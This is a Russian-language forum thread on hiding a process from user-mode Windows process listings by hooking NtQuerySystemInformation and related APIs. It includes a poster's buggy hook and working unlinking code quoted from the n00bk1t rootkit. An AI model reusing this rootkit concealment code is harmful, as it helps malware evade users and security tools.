Здравствуйте, Уважаемые. Итак, тема не однократно здесь поднимающаяся, но прочитав их ничего конструктивного не нашел. Распишу задачу и решение. Рассмотрим 3 метода получения списка процессов (их несомненно больше) PS(psapi): EnumProcesses TH(toolhelp): CreateToolhelpSnapshot, Process32Next, First NT: NTQuerySystemInformation Как способ будем использовать сплайсинг функций в заголовке для EnumProcesses, Process32Next, Process32First, NTQuerySystemInformation (WHERE SystemInformation == 5) Вся работа производится на OS Windows7. Допустим есть тестовое приложение, где использованы 3 метода получения и скрытия процессов и используется так: Хучим PS, Затем вызываем чтение процессов PS - ВСЕ РАБОТАЕТ (ПРОЦЕССА НЕТ) Хучим TH, Затем вызываем чтение процессов TH - ВСЕ РАБОТАЕТ (ПРОЦЕССА НЕТ) Хучим NT, Затем вызываем чтение процессов NT - ВСЕ РАБОТАЕТ (ПРОЦЕССА НЕТ) Хучим NT, Затем вызываем чтение процессов TH - БРЕД Почему? Потому, что CreateToolhelpSnapshot, предшествующий Process32First, Process32Next внутри себя использует вызов к NTQuerySystemInformation . Ну и что тут такого, наоборот вроде хорошо, хучим одну функцию, а перекрывает она вызов других... Да не тут то было, CreateToolhelpSnapshot каким-то чудным образом использует не только недокументированные поля в SYSTEM_PROCESS_INFORMATION, но и память за этой структурой и лююбые игры по вырезанию куска (инфы о процессе) из возвращаемой структуры приводят к глюкам. Отсюда вытекают вопросы: 1. Как всетаки наиболее надежно и грамотно скрыть процесс в RING3 2. Как обойти описанную выше ситуацию. И вообще, в XP дела обстояли проще? Есть ли у кого утилиты, чтобы увидеть, что скрытие в ring3 - реально. ВАРИАНТЫ С ПЕРЕХВАТОМ ОКОН TASKMGR и прочих НЕ РАССМАТРИВАЮТСЯ. Спасибо.
достаточно перехватить NtQuerySystemInformation, все функции так или иначе к ней спускаются... (или я не прав?)... что-то вы бред написали, поясните... есть такой "юзермодный руткит" - n00bk1t называется... посмотрите в его исходниках (искать на rootkit.com)...
Да, согласен, скажем, перехватываю это функцию, заменяю ProcessId (к примеру в нужных местах) на INVALID_HANDLE_VALUE и все работает, в диспетчере задач -1, у руссиновича n/a, но вот стоит только выдрать из памяти блок, описывающий нужный мне процесс (перестроить массив SYSTEM_PROCESS_INFORMATION без этой структуры для нужного мне процесса), так сразу же диспетчер задач рисует кракозябры или падает. Естественно все смещение NExtEntryOffset ставлю правильно. Опыт 2: Перехватил функцию, получил Output от оригинальной и теперь уже не -1 ставлю в ProcessId, а делаю следующее: (напомню, расположение структур в памяти после работы NtQuerySystemInformation: [SYSTEM_PROCESS_INFORMATION (100-1000 bytes)], [SYSTEM_PROCESS_INFORMATION (100-1000 bytes)], [SYSTEM_PROCESS_INFORMATION (100-1000 bytes)].... т.е. NextEntryOffset не всегда == sizeof( SYSTEM_PROCESS_INFORMATION )) так вот, в этом опыте я просто заполняю нулями пространство от &SYSTEM_PROCESS_INFORMATION_1 + sizeof(SYSTEM_PROCESS_INFORMATION) до &SYSTEM_PROCESS_INFORMATION_1 + &SYSTEM_PROCESS_INFORMATION_1.NExtEntryOffset В этом случае диспетчер задач живет поживает нормально, но вместо имен процессов -пустые строки. Спасибо за ссылку на руткит.
вот вы опять бред пишите... какие ещё -1 и пустые строчки, зачем это? если вам нужно скрыть процесс, то поменяйте в предыдущей структуре NextEntryOffset, чтобы проходя по структурам парсер перепрыгивал тот процесс, который нужно скрыть (предыдущий->NextEntryOffset += тотчтоскрываем->NextEntryOffset... покажите ваш код, который считает эти смещения, вы где-то ошиблись...
Код (Text): static BOOL __stdcall ZwQuerySystemInformationFake( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ) { auto PNtQuerySystemInformation = (TNtQuerySystemInformation)OriginalStub; auto result = PNtQuerySystemInformation( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if ( NT_SUCCESS( result ) ) { if ( SystemInformationClass == SystemProcessInformation ) { if ( SystemInformation ) { PVOID copy = malloc( SystemInformationLength ); memmove( copy, SystemInformation, SystemInformationLength ); auto copy_spi = (SYSTEM_PROCESS_INFORMATION *)copy; auto orig_spi = (SYSTEM_PROCESS_INFORMATION *)SystemInformation; memset( orig_spi, 0, SystemInformationLength ); orig_spi->NextEntryOffset = 0; do { std::wstring str( COMMON::GetProcessName( (DWORD)copy_spi->UniqueProcessId ) ); bool bitter = str.find( COMMON::Bitter ) != str.npos; if ( !bitter ) { if ( orig_spi->NextEntryOffset ) orig_spi = (SYSTEM_PROCESS_INFORMATION *)( (DWORD)orig_spi + orig_spi->NextEntryOffset ); size_t len = max( copy_spi->NextEntryOffset, sizeof(SYSTEM_PROCESS_INFORMATION) ); memmove( orig_spi, copy_spi, len ); //if (bitter) // orig_spi->UniqueProcessId = INVALID_HANDLE_VALUE; } if ( ! copy_spi->NextEntryOffset ) break; copy_spi = (SYSTEM_PROCESS_INFORMATION *)( (DWORD)copy_spi + copy_spi->NextEntryOffset ); } while ( true ); orig_spi->NextEntryOffset = 0; free( copy ); } } } return result; }
пуффф... нда... зачем все это? какие-то буфферы дополнительные... ужас... будьте проще... если по вашему коду: вот вы копируете неспрятываемые записи из copy в orig... посмотрите, верно ли просчитываются смещения при этом?
вот адекватное решение из n00bk1t: Код (Text): if(SystemProcessInformation==SystemInformationClass) { // Processes int iChanged=0; ANSI_STRING asProcessName; struct _SYSTEM_PROCESS_INFORMATION *curr=(struct _SYSTEM_PROCESS_INFORMATION*)SystemInformation; struct _SYSTEM_PROCESS_INFORMATION *prev=NULL; while(curr) { RtlUnicodeStringToAnsiString(&asProcessName,&(curr->usName),TRUE); if((asProcessName.Length>0)&&(asProcessName.Length<255)) { if (config_CheckString(ConfigHiddenProcess,asProcessName.Buffer,asProcessName.Length)) { iChanged=1; if(prev) { if(curr->dNext) // make prev skip this entry prev->dNext+=curr->dNext; else // we are last, so make prev the end prev->dNext=0; } else { if(curr->dNext) // we are first in the list, so move it forward (char *)SystemInformation+=curr->dNext; else // we are the only process! SystemInformation=NULL; } } } RtlFreeAnsiString(&asProcessName); if (iChanged==0) prev=curr; else iChanged=0; if(curr->dNext) ((char *)curr+=curr->dNext); else curr=NULL; } } ничего лишнего, и прекрасно работает...
PavPS Надеюсь это последнее упоминание патчей, иначе вам сюда http://www.wasm.ru/forum/viewtopic.php?id=38110. Изучайте формат буфера. Сервис перехватить, если для получения процессов используются слепки.